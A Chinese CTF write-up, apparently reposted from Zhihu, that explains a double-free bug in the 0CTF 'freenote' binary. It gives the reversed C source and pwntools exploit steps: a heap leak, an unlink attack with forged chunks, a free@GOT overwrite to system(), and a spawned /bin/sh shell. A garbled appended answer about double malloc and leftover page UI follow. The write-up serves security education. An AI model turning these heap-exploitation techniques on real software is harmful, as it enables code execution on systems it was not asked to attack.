将一个指针 free 两次之后会发生什么?

0x00 简介


在入门 c 语言时我们都知道一个常识:通过 malloc() 动态申请的内存在使用完之后需要通过 free() 释放;那么如果因为程序设计不当,导致这块堆内存释放之后,再释放一次会发生什么呢?看起来这个操作似乎很愚蠢,但是 double free 的确是现代软件中十分常见的一种二进制漏洞。


我将通过一个例子来说明 double free 可能造成的危害。这个例子是曾经的一道 0ctf 赛题。ctf 比赛通过简单演示常见计算机漏洞向参与者普及安全技术,是入门安全的较好方法之一。


程序地址: github.com/ctfs/write-u
环境:ubuntu 16.04 x86_64
工具:ida, pwntools, pwndbg


逆向之后还原的代码如下,如果不想看全部可以先注意虚线处的 bug(reversed by

):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct note {
    long int flag;//是否存在笔记
    long int length;//笔记内容的长度
    char *content;//笔记内容
} note;
typedef struct notes {
    long int max;
    long int length;
    note notes256[256];
} notes;

notes *base;

void allocate_space() {
    base = (notes *) malloc(sizeof(notes));
    for (int i = 0; i < 256; i++) {
        base->notes256[i].flag = 0;
        base->notes256[i].length = 0;
        base->notes256[i].content = NULL;
    }
}

int read_choice() {
    int choice;
    puts("== 0ops Free Note ==");
    puts("1. List Note");
    puts("2. New Note");
    puts("3. Edit Note");
    puts("4. Delete Note");
    puts("5. Exit");
    puts("====================");
    printf("Your choice: ");
    scanf("%d", &choice);
    return choice;
}

void list() {
    for (int i = 0;; i++) {
        if (i >= 256) {
            break;
        }
        if (base->notes256[i].flag == 1) {
            printf("%d. %s\n", i, base->notes256[i].content);
        }
    }
}

void read_content(char *temp, int str_len) {
    int i;
    int read_num;
    for (i = 0; i < str_len; i += read_num) {
        read_num = read(0, (void *) (temp + i), str_len - i);
        if (read_num <= 0) {
            break;
        }
    }
}

void new_note() {
    int str_len;//字符串长度
    char *temp;
    void *str;
    if (base->length < base->max) {
        for (int i = 0;; i++) {
            if (i >= base->max) {
                break;
            }
            if (!base->notes256[i].flag) {
                printf("Length of new note: ");
                scanf("%d", &str_len);
                if (str_len > 0) {
                    if (str_len > 4096) {
                        str_len = 4096;
                    }
                    printf("Enter your note: ");
                    temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);
                    read_content(temp, str_len);
                    base->notes256[i].flag = 1;
                    base->notes256[i].length = str_len;
                    base->notes256[i].content = temp;
                    base->length++;
                    puts("Done.");
                    break;
                }
            }

        }
    }
}

void edit_note() {
    printf("Note number: ");
    int num;
    scanf("%d",&num);
    int length;
    scanf("%d",&length);
    if(length!=base->notes256[num].length){
        base->notes256[num].content=realloc(base->notes256[num].content,(128 - length % 128) % 128 + length);
        base->notes256[num].length=length;
    }
    printf("Enter your note: ");
    read_content(base->notes256[num].content,length);
    puts("Done.");
}

void delete_note() {
    int index;
    printf("Note number: ");
    scanf("%d", &index);
    base->length--;
    base->notes256[index].flag = 0;
    base->notes256[index].length = 0;

/*------------------------------------------------------------------*/
/*-------------------------- bug is here ---------------------------*/
    
    free(base->notes256[index].content);

/*-------------------------------------------------------------------*/    
/*-------------------------------------------------------------------*/

    puts("Done.");
}

int main() {
    allocate_space();
    base->max = 256;
    while (1) {
        switch (read_choice()) {
            case 1:
                list();
                break;
            case 2:
                new_note();
                break;
            case 3:
                edit_note();
                break;
            case 4:
                delete_note();
                break;
            case 5:
                puts("Bye");
                return 0;
            default:
                puts("Invalid!");
                break;
        }
    }
}


可以看到在

free(base->notes256[index].content);

之后该指针并未置空,在随后的执行流程中可以再次 free 该指针造成 double free 漏洞。如果赋值为 NULL 则不会出现这个问题,释放空指针是安全的行为。


并且注意到在

base->notes256[i].content

固定储存着 note0 字符串的地址,当然,在利用这个指针的时候还需要知道它的地址。然后通过触发 double free,更改存 note0 字符串地址的地方,覆盖 got 表,改变程序执行流程。


下面讲具体实现过程。


0x01 Info Leak



根据源代码可以看出 list 功能中存在一个疏漏可以导致泄漏未初始化的堆中的数据,如果

泄漏地址需要用到两个 chunk,防止合并需要两个,所以首先添加 4 个 note。

这时候的堆布局:

将 0 和 2 释放之后,note0 chunk 中的 BK 将指向 note2 chunk:

这时候添加一个长度小于等于 8 的 note,又将被分配到 note0 的地址,然后在打印其内容的时候将上次 free 后保存的 BK 指针一起打印出来。能这样做是因为,malloc chunk 是空间复用的,每一个 chunk 都只是一段连续内存,根据不同的情况,一个地址的数据可以被解释为用户数据,也可以被解释为堆指针。将这个泄漏的地址减去 1940h 就得到了 heap base。 知道 heap base 之后就可以计算出 base->notes256[i].content.


泄漏地址之后,就可以释放所有 chunk。

实现如下:

for i in range(4):
   newnote('a')
delnote(0)
delnote(2)

newnote('murasaki')

s = getnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940
print "heap base is at %s" % hex(heap_base)

delnote(0)
delnote(1)
delnote(3)


0x02 unlink()


unlink 在空闲 chunk 合并时触发。在这里,因为不是 fastbin,在 free 时如果前后有空闲 chunk 就会触发 unlink:更改相邻 chunk 相关参数、指针,实现向前或者向后合并。我们可以通过触发 unlink(p, BK, FD), 造成 p = &p - 3,将不可写的地址转化为可写。


为什么呢?我们来回顾一下 unlink(p, BK, FD)的行为:


1. FD = p->fd == &p - 3, BK = p->bk == &p - 2
2. 检查 FD->bk != p || BK->fd != p,可以利用一个已知指针绕过,即上一节泄漏的base->notes256[i].content
3. FD->bk = BK  //即 p = &p - 2
4. BK->fd = FD  //即 p = &p - 3


在二进制可执行文件的层次不存在结构体的概念,只有一段连续的内存,通过偏移量来访问。所以我们可以布置伪造的 chunk,将我们提供的指针被解释为 BK 和 FD,最终实现 p = &p - 3,如果还有不懂的可以查找 unlink 有关资料进一步学习。


接下来是最有意思的部分—— free 伪造堆块实现任意位置读写。堆布局的方法比较灵活,只要能成功利用怎么玩都可以。我的思路是这样的:


  1. 添加 note0,size 为 0x90,用户数据大小为 0x80,内容是一个伪造的 chunk:size == note0 大小 + note1 size == 0x80 + 0x90 == 0x110
  2. 添加更大的 note1,包含多个伪造的 chunk,覆盖了原 note2 的地址,也就是将 double free 的地址。


实现如下:


newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))
newnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80) 
delnote(2)


经过调试你会发现这个时候就实现了 p = &p - 3,也就是原来储存 note0 地址的地方变了,现在修改 note0 的用户数据就是修改 note0 的地址,之后再编辑 note0 就是改变这个地址的内容。


0x03 覆盖 GOT


因为这个程序的 got 是可写的,所以在实现任意写之后可以将 free@got 覆写成 system() 地址:


elf = ELF('freenote')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
free_got=elf.got['free']
editnote(0, p64(100) + p64(1) + p64(8) + p64(free_got))
s = getnote(0)
free_addr = u64((s.ljust(8, "\x00"))[:8])
libc_addr = free_addr - off_free
system_addr = libc_addr + off_system
print "system is at %s" % hex(system_addr)
editnote(0, p64(system_addr))


现在调用 free() 就是调用 system() :


newnote("/bin/sh\x00")
delnote(2)
p.interactive()



综上,将一个指针释放两次确实是非常危险的行为,它可以造成任意代码执行。希望广大开发者和想从事安全行业的新手们可以从中得到一点点启发。


0x04 完整 EXP

链接:pan.baidu.com/s/1jIotmG 密码:pdvw


https://zhuanlan.zhihu.com/p/30513886

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
如果对同一个字符指针进行两次 `malloc`配,导致内存泄漏和问冲突的问题。 当你对同指针进行多次动态内存分时,只有最后一次分配内存地址被保存在指针中之前分配的内存地址将丢失。这将导致之前分配的存无法被释放,从而产生内存泄漏。 此外,如果你同一个指针进行动态内存分,并且尝试在每个分的内存块上进行写操作,那么发生未定义的行为。因为每次分配的内存大小可能不同,访问超出分配的范围可能导致访问非法内存,破坏数据或引发崩溃。 因此,应该免对同一个字符指针进行多次 `malloc` 分配。在重新分配之前,应该先释放先前分配的内存,然后再进行新的内存分配。例如,可以使用 `free` 函数释放先前分配的内存后再进行新的分配。 以下是一个示例,展示了如何正确地释放先前的内存并重新分配新的内存: ```c #include <stdio.h> #include <stdlib.h> int main() { char* ptr = malloc(10); // 第一次分配内存 if (ptr == NULL) { printf("内存分配失败\n"); return 1; } printf("第一次分配的内存地址:%p\n", ptr); free(ptr); // 释放先前分配的内存 ptr = malloc(20); // 第二次分配内存 if (ptr == NULL) { printf("内存分配失败\n"); return 1; } printf("第二次分配的内存地址:%p\n", ptr); free(ptr); // 释放最终分配的内存 return 0; } ``` 在上述示例中,我们先对 `ptr` 进行了一次 `malloc` 分配,然后使用 `free` 函数释放了先前分配的内存。接着,我们再次对 `ptr` 进行了另一次 `malloc` 分配,最后使用 `free` 函数释放了最终分配的内存。 这样,我们避免了内存泄漏,并确保每次重新分配之前都释放了之前的内存。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值